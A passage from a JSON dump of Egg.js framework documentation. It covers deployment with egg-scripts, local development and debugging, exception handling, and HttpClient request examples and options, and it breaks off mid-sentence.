https://github.com/eggjs/session-redis\n"
  },
  {
    "path": "site/docs/core/deployment.md",
    "content": "---\ntitle: Deployment\norder: 3\n---\n\nLaunching application via `egg-bin dev` will bring something magical to help people to develop in high efficiency. However, actually, those features are not required in production or any other environment. Let's walk through and learn how to deploy your application in Egg's way.\n\nThere are two steps to achieve building once and deploying multiply from source code to runtime.\n\n## Build\n\nIn the stage, you don't need to compile JavaScript files unless TypeScript or Babel(ES6 features) are involved in stack.\n\nGenerally, before deploying the application, dependencies will be installed with `NODE_ENV=production` or `--production`, which will exclude `devDependencies` because those used in development may increase the size of package released or even create pitfalls that you never expect.\n\n```bash\n$ cd baseDir\n$ npm install --production\n$ tar -zcvf ../release.tgz .\n```\n\nBoth the application and dependencies will be packed into a tgz file, what you are going to do is unzipping and launching it.\n\nReusable package brings a few pros in:\n\n- Environments in building and runtime are different, try to keep the later environment pure and stable.\n- Abbreviating publish progress and making rollback without hassle.\n\n## Deploy\n\nNode.js(`>= 14.20.0`) is required so that you should make sure it is pre-installed in runtime environment.\n\nEgg takes `egg-cluster` to create [Master](https://github.com/eggjs/egg/blob/master/docs/source/en/core/cluster-and-ipc.md#master) process, which you can rely on to secure the application instead of daemon manager like [pm2]. The API is also really convenient for developers to achieve that, just `egg.startCluster`.\n\nAnd framework also provide [egg-scripts] for developers to start/stop application at prod mode.\n\nFirstly, we need to import `egg-scripts` as `dependencies`:\n\n```bash\n$ npm i egg-scripts --save\n```\n\nThen add `npm scripts` to `package.json`:\n\n```json\n{\n  \"scripts\": {\n    \"start\": \"egg-scripts start --daemon\",\n    \"stop\": \"egg-scripts stop\"\n  }\n}\n```\n\nThen we are able to use `npm start` and `npm stop` to manage application.\n\n> Note: `egg-scripts` has limited support for Windows, see [#22](https://github.com/eggjs/egg-scripts/pull/22).\n\n### Start\n\n```bash\n$ egg-scripts start --port=7001 --daemon --title=egg-server-showcase\n```\n\nOptions:\n\n- `--port=7001` http server port, will use `process.env.PORT`, default to `7001`.\n- `--daemon` whether run at background, so you don't need `nohup`. Ignore this when the application run in docker instance.\n- `--env=prod` then framework env, will use `process.env.EGG_SERVER_ENV`, default to `prod`。\n- `--workers=2` worker count, default to cpu cores, which can leverage the capability of the cpu.\n- `--title=egg-server-showcase` convenient for `ps + grep`, default to `egg-server-${appname}`.\n- `--framework=yadan` config `egg.framework` at `package.json` or pass this args, when you are using [Custom Framework](../advanced/framework.md).\n- `--ignore-stderr` ignore the std err at start up。\n- `--https.key` specify the https key full path, if start the server with https.\n- `--https.cert` specify the https certificate full path, if start the server with https.\n- support all options from [egg-cluster], such as `--port`.\n\nMore about [egg-scripts] and [egg-cluster] documents.\n\n> Note: `--workers`, default to `process.env.EGG_WORKERS`, if unset, egg will use `os.cpus().length`. However, in the docker, the `os.cpus().length` may not be equal to the number of allocated cores, and the obtained value may be large, leading to startup failure. Then try to manually set `--workers`, see [#1431](https://github.com/eggjs/egg/issues/1431#issuecomment-573989059).\n\n#### Dispatch with Arguments\n\nArguments of dispatch can be configured in `config.{env}.js`.\n\n```js\n// config/config.default.js\n\nexports.cluster = {\n  listen: {\n    port: 7001,\n    hostname: '127.0.0.1', // It is not recommended to set the hostname to '0.0.0.0', which will allow connections from external networks and sources, please use it if you know the risk.\n    // path: '/var/run/egg.sock',\n  },\n};\n```\n\n[server.listen](https://nodejs.org/api/http.html#http_server_listen_port_hostname_backlog_callback) supports arguments including `path`, `port` and `hostname` to change dispatching behavior. One thing you should know is that the `port` in `egg.startCluster` will override the one in application config.\n\n### Stop\n\n```bash\n$ egg-scripts stop\n```\n\nThis command will kill master process which will handler and notice worker and agent to gracefull exit.\n\nAlso you can manually call `ps -eo \"pid,command\" | grep -- \"--title=egg-server\"` to find master process then `kill` without `-9`.\n\n[egg-cluster]: https://github.com/eggjs/egg-cluster\n[egg-scripts]: https://github.com/eggjs/egg-scripts\n[pm2]: https://github.com/Unitech/pm2\n"
  },
  {
    "path": "site/docs/core/development.md",
    "content": "---\ntitle: Local Development\norder: 1\n---\n\nWe provide convenient ways for development, debugging, and unit tests to improve your development experience.\n\nHere, we need to use [egg-bin] module (Only used in local development and unit tests. For production environment, please refer to [Deployment](./deployment.md)).\n\nFirst of all, we need to include `egg-bin` module in `devDependencies`:\n\n```bash\n$ npm i egg-bin --save-dev\n```\n\n## Start App\n\nOnce we have modified code and saved in local development, the app will restart automatically, and our changes will take place right after that.\n\n### Adding Script\n\nAdd `npm scripts` into `package.json`：\n\n```json\n{\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\"\n  }\n}\n```\n\nAnd then we may start app by `npm run dev`.\n\n### Environment Configuration\n\nTo start app in local, environment needs to be set as `env: local`. The configuration comes from the combination of both `config.local.js` and `config.default.js`.\n\n> Note: The local development environment relies on '@eggjs/development' module, enabled by default, and closed other environment, Configuration reference [config/config.default.ts](https://github.com/eggjs/development/blob/master/src/config/config.default.ts)\n\n### About `Reload`\n\nUnder the following directory (including subdirectories) will watch file changes under development environment by default, trigger an Egg development environment server reload:\n\n- ${app_root}/app\n- ${app_root}/config\n- ${app_root}/mocks\n- ${app_root}/mocks_proxy\n- ${app_root}/app.js\n\n> set `config.development.overrideDefault` to `true` to skip defaults merge.\n\nUnder the following directory (including subdirectories) will ignore file changes under development environment by default:\n\n- ${app_root}/app/view\n- ${app_root}/app/assets\n- ${app_root}/app/public\n- ${app_root}/app/web\n\n> set `config.development.overrideIgnore` to `true` to skip defaults merge.\n\n### Port Assignment\n\nStarting app in local will listen to port 7001 by default. You may assign other port to it like this:\n\n```json\n{\n  \"scripts\": {\n    \"dev\": \"egg-bin dev --port 7001\"\n  }\n}\n```\n\n## Unit Test\n\nHere we mainly cover the usage of the tools, for more details about unit tests, please refer to [here](./unittest.md).\n\n### Adding Script\n\nAdd `npm scripts` into `package.json`：\n\n```json\n{\n  \"scripts\": {\n    \"test\": \"egg-bin test\"\n  }\n}\n```\n\nAnd then we can run unit test by `npm test`.\n\n### Environment Configuration\n\nTo run test cases, environment needs to be set as `env: unittest`. The configuration comes from the combination of both `config.local.js` and `config.unittest.js`.\n\n### Run specific test file\n\n`npm test` command will look for all the files ended with `.test.js` under test folder (default [glob] matching rule is `test/**/*.test.js`).\n\nHowever, we would like to run only the test cases that we are working on sometimes. In this case, we may specify a file in the following way:\n\n```bash\n$ TESTS=test/x.test.js npm test\n```\n\n[glob] expressions are supported here.\n\n### Reporter Setting\n\nMocha supports various reporters. Default reporter is `spec`.\n\nReporter is allowed to be specified mannually via setting TEST_REPORTER as the environment variable. For example, to use `dot` instead:\n\n```bash\n$ TEST_REPORTER=dot npm test\n```\n\n![image](https://cloud.githubusercontent.com/assets/156269/21849809/a6fe6df8-d842-11e6-8507-20da63bc8b62.png)\n\n### Timeout Setting\n\nThe default timeout is 30 seconds. We may set our own timeout (in milliseconds). For example, setting timeout to 5 seconds:\n\n```bash\n$ TEST_TIMEOUT=5000 npm test\n```\n\n### Pass Parameters via argv\n\nBesides environment variables, `egg-bin test` also supports passing parameters directly, and it supports all mocha parameters. You may refer to [mocha usage](https://mochajs.org/#usage).\n\n```bash\n$ # Passing parameters via npm need to add an extra `--`, according to https://docs.npmjs.com/cli/run-script\n$ npm test -- --help\n$\n$ # Equivalent to `TESTS=test/**/test.js npm test`. Since the limitation of bash, it's better to add double qoute to path.\n$ npm test \"test/**/test.js\"\n$\n$ # Equivalent to `TEST_REPORTER=dot npm test`\n$ npm test -- --reporter=dot\n$\n$ # Parameters of mocha are supported, such as grep, require, etc.\n$ npm test -- -t 30000 --grep=\"should GET\"\n```\n\n## Code Coverage\n\negg-bin has build-in [nyc](https://github.com/istanbuljs/nyc) to support calculating code coverage report of unit test.\n\nAdd `npm scripts` into `package.json`：\n\n```json\n{\n  \"scripts\": {\n    \"cov\": \"egg-bin cov\"\n  }\n}\n```\n\nAnd then we can get code coverage report of unit test via `npm run cov`.\n\n```bash\n$ egg-bin cov\n\n  test/controller/home.test.js\n    GET /\n      ✓ should status 200 and get the body\n    POST /post\n      ✓ should status 200 and get the request body\n\n  ...\n\n  16 passing (1s)\n\n=============================== Coverage summary ===============================\nStatements   : 100% ( 41/41 )\nBranches     : 87.5% ( 7/8 )\nFunctions    : 100% ( 10/10 )\nLines        : 100% ( 41/41 )\n================================================================================\n```\n\nAnd we may open HTML file of complete code coverage report via `open coverage/lcov-report/index.html`.\n\n![image](https://cloud.githubusercontent.com/assets/156269/21845201/a9a85ab6-d82c-11e6-8c24-5e85f352be4a.png)\n\n### Environment Configuration\n\nJust like test, the environment needs to be set to `env:unittest` to run cov, and the configuration comes from the combination of both `config.local.js` and `config.unittest.js`.\n\n### Ignore Specific Files\n\nTo ignore some files in code coverage rate calculation, You may use `COV_EXCLUDES` as the environment variable to ignore some specific files that don't need the test converages:\n\n```bash\n$ COV_EXCLUDES=app/plugins/c* npm run cov\n$ # Or pass this setting via parameters\n$ npm run cov -- --x=app/plugins/c*\n```\n\n## Debugging\n\n### Log Print\n\n### Use `Logger` Module\n\nThere's a built-in [Log](./logger.md) in the egg, so you may use logger.debug() to print out debug information. **We recommend you use it in your own code.**\n\n```js\n// controller\nthis.logger.debug('current user: %j', this.user);\n\n// service\nthis.ctx.logger.debug('debug info from service');\n\n// app/init.js\napp.logger.debug('app init');\n```\n\nLevels of logs can be configured via `config.logger.level` for printing into file, and `config.logger.consoleLevel` for printing into console.\n\n### Use `Debug` Module\n\n[debug](https://www.npmjs.com/package/debug) module is a debug tool widely adopted in Node.js community, plenty of modules are using it to print debug information. So for the Egg community. **We recommand you use it in your own development of framework and plugins.**\n\nIt's easy for us to watch the whole process of test through `DEBUG` as the environment variable to start with certain code.\n\n(Do not confuse debug module with logger module, for the latter also has quite a lot of functions, what we mean \"log\" here is the debug info.)\n\nTurn on log of all modules:\n\n```bash\n$ DEBUG=* npm run dev\n```\n\nTurn on log of specific module:\n\n```bash\n$ DEBUG=egg* npm run dev\n```\n\nDetail logs of unit tests progress are able to be viewed via `DEBUG=* npm test`.\n\n### Debug with `egg-bin`\n\n#### Adding Script\n\nAdd `npm scripts` into `package.json`：\n\n```json\n{\n  \"scripts\": {\n    \"debug\": \"egg-bin debug\"\n  }\n}\n```\n\nAnd then we may set breakpoints for debugging our app via `npm run debug`.\n\n`egg-bin` will select debug protocol automatically. [Inspector Protocol] will be selected for version 8.x and later. For earlier ones, [Legacy Protocol] is the choice.\n\nMeanwhile, It also supports customized debug parameters.\n\n```bash\n$ egg-bin debug --inpsect=9229\n```\n\n- Debug port of `master` is 9229 or 5858 (Legacy Protocol).\n- Debug port of `agent` is fixed to 5800, it is customizable via `process.env.EGG_AGENT_DEBUG_PORT`.\n- Debug port number of `worker` will increase from `master` port number.\n- During developing period, worker will \"hot restart\" once the code is changed, and it will cause the increase of port. Please refer to the following IDE configuration for auto-reconnecting.\n\n#### Environment Configuration\n\nApp starts by `env: local` when executing debug . The configuration comes from the combination of both `config.local.js` and `config.unittest.js`.\n\n#### Debug with [DevTools]\n\nThe latest DevTools only supports [Inspector Protocol]. Thus you will need to install Node.js 8.x or higher verions to be able to use it.\n\nExecute `npm run debug` to start it:\n\n```bash\n➜  showcase git:(master) ✗ npm run debug\n\n> showcase@1.0.0 debug /Users/tz/Workspaces/eggjs/test/showcase\n> egg-bin debug\n\nDebugger listening on ws://127.0.0.1:9229/f8258ca6-d5ac-467d-bbb1-03f59bcce85b\nFor help see https://nodejs.org/en/docs/inspector\n2017-09-14 16:01:35,990 INFO 39940 [master] egg version 1.8.0\nDebugger listening on ws://127.0.0.1:5800/bfe1bf6a-2be5-4568-ac7d-69935e0867fa\nFor help see https://nodejs.org/en/docs/inspector\n2017-09-14 16:01:36,432 INFO 39940 [master] agent_worker#1:39941 started (434ms)\nDebugger listening on ws://127.0.0.1:9230/2fcf4208-4571-4968-9da0-0863ab9f98ae\nFor help see https://nodejs.org/en/docs/inspector\n9230 opened\nDebug Proxy online, now you could attach to 9999 without worry about reload.\nDevTools → chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9999/__ws_proxy__\n```\n\nAnd then choose one of the following ways:\n\n- Visit the `DevTools` URL printed in the last few lines in console directly. Since this URL is proxied from worker, you don't need to worry about restarting.\n- Open `chrome://inspect`, and config port accordingly, then click `Open dedicated DevTools for Node` to open debug console.\n\n![DevTools](https://user-images.githubusercontent.com/227713/30419047-a54ac592-9967-11e7-8a05-5dbb82088487.png)\n\n#### Debug with WebStorm\n\n`egg-bin` will read environment variable `$NODE_DEBUG_OPTION` set in WebStorm debug mode.\n\nStart npm debug in WebStorm：\n\n![WebStorm](https://user-images.githubusercontent.com/227713/30423086-5dd32ac6-9974-11e7-840f-904e49a97694.png)\n\n#### Debug with [VSCode]\n\nThere are 2 ways:\n\n1st method: open settings in VSCode, turn on `Debug: Toggle Auto Attach`, and then execute `npm run debug` in the terminal.\n\n2nd method: setup `.vscode/launch.json` in VSCode, and then simply start with F5 key. (Note: You have to turn off the settings mentioned in the 1st method before doing it).\n\n```js\n// .vscode/launch.json\n{\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"name\": \"Launch Egg\",\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"cwd\": \"${workspaceRoot}\",\n      \"runtimeExecutable\": \"npm\",\n      \"windows\": { \"runtimeExecutable\": \"npm.cmd\" },\n      \"runtimeArgs\": [ \"run\", \"debug\" ],\n      \"console\": \"integratedTerminal\",\n      \"protocol\": \"auto\",\n      \"restart\": true,\n      \"port\": 9229,\n      \"autoAttachChildProcesses\": true\n    }\n  ]\n}\n```\n\nAnd we offer a [vscode-eggjs] extention to setup auto-matically.\n\n![VSCode](https://user-images.githubusercontent.com/227713/35954428-7f8768ee-0cc4-11e8-90b2-67e623594fa1.png)\n\nFor more options of setting up debug in VSCode, please refer to [Node.js Debugging in VS Code](https://code.visualstudio.com/docs/nodejs/nodejs-debugging).\n\n## More\n\nIf you would like to know more about local development, like customizing a local development tool for your team, please refer to [egg-bin].\n\n[glob]: https://www.npmjs.com/package/glob\n[egg-bin]: https://github.com/eggjs/egg-bin\n[vscode]: https://code.visualstudio.com\n[legacy protocol]: https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md\n[inspector protocol]: https://chromedevtools.github.io/debugger-protocol-viewer/v8\n[devtools]: https://developer.chrome.com/devtools\n[webstorm]: https://www.jetbrains.com/webstorm/\n[vscode-eggjs]: https://github.com/eggjs/vscode-eggjs\n"
  },
  {
    "path": "site/docs/core/error-handling.md",
    "content": "---\ntitle: Exception Handling\norder: 9\n---\n\n## Exception Capture\n\nTaking benefits from framework asynchronous support, all exceptions can be caught by `try catch`.\n\nWith those features, you can take following implementation as reference:\n\n```js\n// app/service/test.js\ntry {\n  const res = await this.ctx.curl('http://eggjs.com/api/echo', {\n    dataType: 'json',\n  });\n  if (res.status !== 200) throw new Error('response status is not 200');\n  return res.data;\n} catch (err) {\n  this.logger.error(err);\n  return {};\n}\n```\n\nGenerally, you can use `try catch` to catch exceptions. However, some implementations may break this mechanism down. Imaging that `await` makes generators run in order just like a chain. What will happen if one of them jumpoff the chain? The following code can help you realize the imagination:\n\n```js\n// app/controller/home.js\nclass HomeController extends Controller {\n  async buy() {\n    const request = {};\n    const config = await ctx.service.trade.buy(request);\n    // checking the deal and don't block current request\n    setImmediate(() => {\n      ctx.service.trade.check(request).catch((err) => ctx.logger.error(err));\n    });\n  }\n}\n```\n\nIn this case, you may find that the exceptions in `setImmediate` will be swallowed because the scope breaks the chain, although egg already handled exceptions externally.\n\nAbove scene is also considered. To catch the exception inside the scope, You can invoke helper method `ctx.runInBackground(scope)` to wrap the chain back. Now, the exceptions will be detected and caught.\n\n```js\nclass HomeController extends Controller {\n  async buy() {\n    const request = {};\n    const config = await ctx.service.trade.buy(request);\n    // checking the deal and don't block current request\n    ctx.runInBackground(async () => {\n      // Exceptions thrown here will be caught in background and printed into log.\n      await ctx.service.trade.check(request);\n    });\n  }\n}\n```\n\nFor convenience of locating problems, exceptions must be guaranteed to be Error object or object based on Error object, which offers a trace of which functions were called.\n\n## Egg Takes Charge of Exceptions\n\n[@eggjs/onerror](https://github.com/eggjs/egg/tree/next/plugins/onerror), one of Egg's plugin, handles all exceptions thrown in Middleware, Controller and Service, and returns the error as response based on \"Accept\" in request header field.\n\n| Accept       | ENV              | errorPageUrl | response                                             |\n| ------------ | ---------------- | ------------ | ---------------------------------------------------- |\n| HTML & TEXT  | local & unittest | -            | onerror built-in error page                          |\n| HTML & TEXT  | others           | YES          | redirect to errorPageUrl                             |\n| HTML & TEXT  | others           | NO           | onerror built-in error page(simple, not recommended) |\n| JSON & JSONP | local & unittest | -            | JSON Object or JSONP response body with details      |\n| JSON & JSONP | others           | -            | JSON object or JSONP response body without details   |\n\n### `errorPageUrl`\n\nRedirecting to your customized error page by setting `errorPageUrl` in `onerror` plugin.\n\n`onerror` config in `config/config.default.js`:\n\n```js\nmodule.exports = {\n  onerror: {\n    errorPageUrl: '/50x.html',\n  },\n};\n```\n\n## Create Your Universal Exception Handler\n\nOnce the default handler no longer meet your needs, you still can customize your owner error handler by onerror's configurations.\n\n```js\n// config/config.default.js\nmodule.exports = {\n  onerror: {\n    all(err, ctx) {\n      // Define an error handler for all type of Response.\n      // Once config.all present, other type of error handlers will be ignored.\n      ctx.body = 'error';\n      ctx.status = 500;\n    },\n    html(err, ctx) {\n      // html handler\n      ctx.body = '<h3>error</h3>';\n      ctx.status = 500;\n    },\n    json(err, ctx) {\n      // json handler\n      ctx.body = { message: 'error' };\n      ctx.status = 500;\n    },\n    jsonp(err, ctx) {\n      // Generally, we don't need to customize jsonp error handler.\n      // It will call json error handler and wrap to jsonp type response.\n  },\n};\n```\n\n## 404\n\nEgg won't take `NOT FOUND` from back-end as exception. Instead, if `NOT FOUND` is emitted without a body, it will return the following JSON object as default response.\n\nidentified as JSON:\n\n```js\n{\n  \"message\": \"Not Found\"\n}\n```\n\nidentified as HTML:\n\n```html\n<h1>404 Not Found</h1>\n```\n\nOverriding default 404 page to the one you want:\n\n```js\n// config/config.default.js\nmodule.exports = {\n  notfound: {\n    pageUrl: '/404.html',\n  },\n};\n```\n\n### Customize 404 Response\n\nIf you want a customized 404 response, you only need to create a middleware to handle it once, just like handling exceptions above.\n\n```js\n// app/middleware/notfound_handler.js\nmodule.exports = () => {\n  return async function notFoundHandler(ctx, next) {\n    await next();\n    if (ctx.status === 404 && !ctx.body) {\n      if (ctx.acceptJSON) {\n        ctx.body = { error: 'Not Found' };\n      } else {\n        ctx.body = '<h1>Page Not Found</h1>';\n      }\n    }\n  };\n};\n```\n\nAdding yours to `middleware` in config:\n\n```js\n// config/config.default.js\nmodule.exports = {\n  middleware: ['notfoundHandler'],\n};\n```\n"
  },
  {
    "path": "site/docs/core/httpclient.md",
    "content": "---\ntitle: HttpClient\norder: 5\n---\n\nCountless services rely on the HTTP-based communication nowadays, and it is a very common application scenario that web applications call back-end HTTP services.\n\nThe framework built in [HttpClient] based on [urllib], you can quickly complete any HTTP request.\n\n## Using HttpClient by `app`\n\n[HttpClient] will initialize to `app.httpclient` automatically during the application's initialization.\nAlso added an method `app.curl(url, options)`, which is equivalent to the `app.httpclient.request(url, options)`.\n\nSo you can easily use `app.curl` to complete a HTTP request.\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.beforeStart(async () => {\n    // example: read the version info on https://registry.npmmirror.com/egg/latest when it starts\n    const result = await app.curl('https://registry.npmmirror.com/egg/latest', {\n      dataType: 'json',\n    });\n    app.logger.info('Egg latest version: %s', result.data.version);\n  });\n};\n```\n\n## Using HttpClient by `ctx`\n\nFramework also provides `ctx.curl(url, options)` and `ctx.httpclient` in Context, same as app.\nSo it's very easy to use `ctx.curl()` to complete a HTTP request in the Context (such as in the controller)\n\n```js\n// app/controller/npm.js\nclass NpmController extends Controller {\n  async index() {\n    const ctx = this.ctx;\n\n    // example: request a npm module's info\n    const result = await ctx.curl('https://registry.npmmirror.com/egg/latest', {\n      // parse JSON response\n      dataType: 'json',\n      // timeout of 3s\n      timeout: 3000,\n    });\n\n    ctx.body = {\n      status: result.status,\n      headers: result.headers,\n      package: result.data,\n    };\n  }\n}\n```\n\n## Basic HTTP Request\n\nHTTP has been widely used and have several methods to make request, but the methods are similar. We start with the basic four request methods then move to some more complex scenario.\n\nIn the following example, we will complete the request of https://httpbin.org in the controller.\n\n### GET\n\nReading data almost uses GET request. It is the most common type and widely used in the world of HTTP. And it is also easier to construct a request parameter.\n\n```js\n// app/controller/npm.js\nclass NpmController extends Controller {\n  async get() {\n    const ctx = this.ctx;\n    const result = await ctx.curl('https://httpbin.org/get?foo=bar');\n    ctx.status = result.status;\n    ctx.set(result.headers);\n    ctx.body = result.data;\n  }\n}\n```\n\n- GET request might not need to set `options.method`. HttpClient Defalut method is set to `GET`\n- Return `result` will contains 3 attributes: `status`, `headers` and `data`\n  - `status`: response status，for example `200`, `302`, `404`, `500` and etc\n  - `headers`: response header，similar to `{ 'content-type': 'text/html', ... }`\n  - `data`: response body，default HttpClient doesn't do anything and returns as Buffer directly.\n    Once the `options.dataType` is set，HttpClient will process the `data` based on the parameters\n\nFor the complete request parameter `options` and return value `result`, refer to below section [options Parameters in Detail](#options-parameters-in-detail)\n\n### POST\n\nThe scenario of creating data generally uses the POST request with body parameter, one more parameter compared to GET.\n\nTake sending JSON boy as example:\n\n```js\n// app/controller/npm.js\nclass NpmController extends Controller {\n  async post() {\n    const ctx = this.ctx;\n    const result = await ctx.curl('https://httpbin.org/post', {\n      // method is required\n      method: 'POST',\n      // telling HttpClient to send data as JSON by contentType\n      contentType: 'json',\n      data: {\n        hello: 'world',\n        now: Date.now(),\n      },\n      // telling HttpClient to process the return body as JSON format explicitly\n      dataType: 'json',\n    });\n    ctx.body = result.data;\n  }\n}\n```\n\nThe following will explain POST to achieve Form function of form submission and file upload in detail.\n\n### PUT\n\nSimilar to POST, but PUT is better for data updating and replacement. Almost the same parameters as POST except setting method as `PUT`.\n\n```js\n// app/controller/npm.js\nclass NpmController extends Controller {\n  async put() {\n    const ctx = this.ctx;\n    const result = await ctx.curl('https://httpbin.org/put', {\n      // method is required\n      method: 'PUT',\n      // telling HttpClient to send data as JSON by contentType\n      contentType: 'json',\n      data: {\n        update: 'foo bar',\n      },\n      // telling HttpClient to process the return body as JSON format explicitly\n      dataType: 'json',\n    });\n    ctx.body = result.data;\n  }\n}\n```\n\n### DELETE\n\nDELETE request is to delete the data, request body don't need to add request body but HttpClient don't have the limitation.\n\n```js\n// app/controller/npm.js\nclass NpmController extends Controller {\n  async del() {\n    const ctx = this.ctx;\n    const result = await ctx.curl('https://httpbin.org/delete', {\n      // method is required\n      method: 'DELETE',\n      // telling HttpClient to process the return body as JSON format explicitly\n      dataType: 'json',\n    });\n    ctx.body = result.data;\n  }\n}\n```\n\n## Advanced HTTP Request\n\nIn some real application scenarios, still have some more complex HTTP requests.\n\n### Form Submission\n\nInterfaces of Browser-Oriented Form Submission (without files), usually require `content-type: application/x-www-form-urlencoded` for the data requesting.\n\n```js\n// app/controller/npm.js\nclass NpmController extends Controller {\n  async submit() {\n    const ctx = this.ctx;\n    const result = await ctx.curl('https://httpbin.org/post', {\n      // method is required, supports POST，PUT and DELETE\n      method: 'POST',\n      // contentType is not needed, by default HttpClient will send request in application/x-www-form-urlencoded\n      data: {\n        now: Date.now(),\n        foo: 'bar',\n      },\n      // telling HttpClient to process the return body as JSON format explicitly\n      dataType: 'json',\n    });\n    ctx.body = result.data.form;\n    // final response will similar as below:\n    // {\n    //   \"foo\": \"bar\",\n    //   \"now\": \"1483864184348\"\n    // }\n  }\n}\n```\n\n### Uploading Files by Multipart\n\nOnce form submission contains files, submission of requesting data must be [multipart/form-data](http://tools.ietf.org/html/rfc2388)\n[urllib] has a built-in module [formstream] to generate `form` objects that can be consumed by HttpClient.\n\n```js\n// app/controller/http.js\nclass HttpController extends Controller {\n  async upload() {\n    const { ctx } = this;\n\n    const result = await ctx.curl('https://httpbin.org/post', {\n      method: 'POST',\n      dataType: 'json',\n      data: {\n        foo: 'bar',\n      },\n\n      // one file\n      files: __filename,\n\n      // many files\n      // files: {\n      //   file1: __filename,\n      //   file2: fs.createReadStream(__filename),\n      //   file3: Buffer.from('mock file content'),\n      // },\n    });\n\n    ctx.body = result.data.files;\n    // Response:\n    // {\n    //   \"file\": \"'use strict';\\n\\nconst For....\"\n    // }\n  }\n}\n```\n\n### Uploading Files in Stream Mode\n\nIn fact, Stream is the leading in the world of Node.js.\nIf the server supports streaming, the most friendly way is to send the Stream directly. Actually, Stream will be sent in `Transfer-Encoding: chunked` transmission coding format, which is implemented by [HTTP] module automatically.\n\n```js\n// app/controller/npm.js\nconst fs = require('fs');\nconst FormStream = require('formstream');\nclass NpmController extends Controller {\n  async uploadByStream() {\n    const ctx = this.ctx;\n    // uploading the current file for test propose\n    const fileStream = fs.createReadStream(__filename);\n    // httpbin.org not support stream mode, use the local stream interface instead\n    const url = `${ctx.protocol}://${ctx.host}/stream`;\n    const result = await ctx.curl(url, {\n      // method is required, supports POST，PUT\n      method: 'POST',\n      // submitted by stream mode\n      stream: fileStream,\n    });\n    ctx.status = result.status;\n    ctx.set(result.headers);\n    ctx.body = result.data;\n    // final response will similar as below:\n    // {\"streamSize\":574}\n  }\n}\n```\n\n## Options Parameters in Detail\n\nDue to the complexity of HTTP Request, the options parameters of `httpclient.request(url, options)` quite large. The actual usage of each optional parameter will be shown with descriptions and coding as below.\n\n### Default HttpClient Global Configuration\n\n```js\n// config/config.default.js\nexports.httpclient = {\n  // whether to enable local DNS cache, default disable, enable will have two characteristics\n  // 1. All DNS lookup will prefer to use the cache by default, even DNS query error does not affects the application\n  // 2. For the same hostname, query only once during the interval of dnsCacheLookupInterval (default 10s)\n  enableDNSCache: false,\n  // minimum interval of DNS query on the same hostname\n  dnsCacheLookupInterval: 10000,\n  // maximum number of hostname DNS cache simultaneously, default 1000\n  dnsCacheMaxLength: 1000,\n\n  request: {\n    // default timeout of request\n    timeout: 3000,\n  },\n\n  httpAgent: {\n    // default enable http KeepAlive\n    keepAlive: true,\n    // idle KeepAlive socket can survive for 4 seconds\n    freeSocketTimeout: 4000,\n    // when sockets have no activity for more than 30s, it will be processed as timeout\n    timeout: 30000,\n    // maximum number of sockets allow to be created\n    maxSockets: Number.MAX_SAFE_INTEGER,\n    // maximum number of idle sockets\n    maxFreeSockets: 256,\n  },\n\n  httpsAgent: {\n    // default enable https KeepAlive\n    keepAlive: true,\n    // idle KeepAlive socket can survive for 4 seconds\n    freeSocketTimeout: 4000,\n    // when sockets have no activity for more than 30s, it will be processed as timeout\n    timeout: 30000,\n    // maximum number of sockets allow to be created\n    maxSockets: Number.MAX_SAFE_INTEGER,\n    // maximum number of idle sockets\n    maxFreeSockets: 256,\n  },\n};\n```\n\nApplication can overrides the configuration by `config/config.default.js`\n\n### `data: Object`\n\nThe request data will select the correct processing method automatically based on the `method`.\n\n- GET，HEAD: processed by `querystring.stringify(data)` then append to the query parameters of url.\n- POST，PUT, DELETE and etc: further judgments and process according to `contentType`.\n  - `contentType = json`: processed by `JSON.stringify(data)` and set it as body before sending.\n  - others: processed by `querystring.stringify(data)` and set it as body before sending\n\n```js\n// GET + data\nctx.curl(url, {\n  data: { foo: 'bar' },\n});\n\n// POST + data\nctx.curl(url, {\n  method: 'POST',\n  data: { foo: 'bar' },\n});\n\n// POST + JSON + data\nctx.curl(url, {\n  method: 'POST',\n  contentType: 'json',\n  data: { foo: 'bar' },\n});\n```\n\n### `dataAsQueryString: Boolean`\n\nOnce `dataAsQueryString=true` is set, even under POST, it will forces `options.data` to be processed by `querystring.stringify` then append to the `url` query parameters\n\nThe application scenarios that sending data using `stream` and pass additional request parameters by `url` query can be well resolved.\n\n```js\nctx.curl(url, {\n  method: 'POST',\n  dataAsQueryString: true,\n  data: {\n    // generally it would be some validation parameters such as access token, etc.\n    accessToken: 'some access token value',\n  },\n  stream: myFileStream,\n});\n```\n\n### `content: String|Buffer`\n\nSet request Context, if the parameter is set, it will ignore the `data` parameters\n\n```js\nctx.curl(url, {\n  method: 'POST',\n  // Sending the raw xml data without HttpClient's to do processing\n  content: '<xml><hello>world</hello></xml>',\n  headers: {\n    'content-type': 'text/html',\n  },\n});\n```\n\n### `files: Mixed`\n\nFile upload, support: `String | ReadStream | Buffer | Array | Object`.\n\n```js\nctx.curl(url, {\n  method: 'POST',\n  files: '/path/to/read',\n  data: {\n    foo: 'other fields',\n  },\n});\n```\n\nupload multiple files:\n\n```js\nctx.curl(url, {\n  method: 'POST',\n  files: {\n    file1: '/path/to/read',\n    file2: fs.createReadStream(__filename),\n    file3: Buffer.from('mock file content'),\n  },\n  data: {\n    foo: 'other fields',\n  },\n});\n```\n\n### `stream: ReadStream`\n\nSet request context's readable stream, default `null`.\nIf the parameter is set , HttpClient will ignore `data` and `content`\n\n```js\nctx.curl(url, {\n  method: 'POST',\n  stream: fs.createReadStream('/path/to/read'),\n});\n```\n\n### `writeStream: WriteStream`\n\nSet receive response data's writeable stream, default `null`.\nOnce the parameter is set, response `result.data` is set to `null` because all data are written to `writeStream`.\n\n```js\nctx.curl(url, {\n  writeStream: fs.createWriteStream('/path/to/store'),\n});\n```\n\n### `consumeWriteStream: Boolean`\n\nWhether to wait for `writeStream` completely finished as the response well received\nThis parameter is not recommended to modify the default value, unless we know it's side effect are acceptable. Otherwise, the `writeStream` data is likely to be incomplete.\n\n### `method: String`\n\nSet request method, default `GET`. Support all `GET、POST、PUT、DELETE、PATCH` and so on [all HTTP methods](https://nodejs.org/api/http.html#http_http_methods)。\n\n### `contentType: String`\n\nSet request data format ，default `undefined`，HttpClient will sets automatically based on the `data` and `content` parameters.\nWhen `data` is object, the default setting would be `form`. 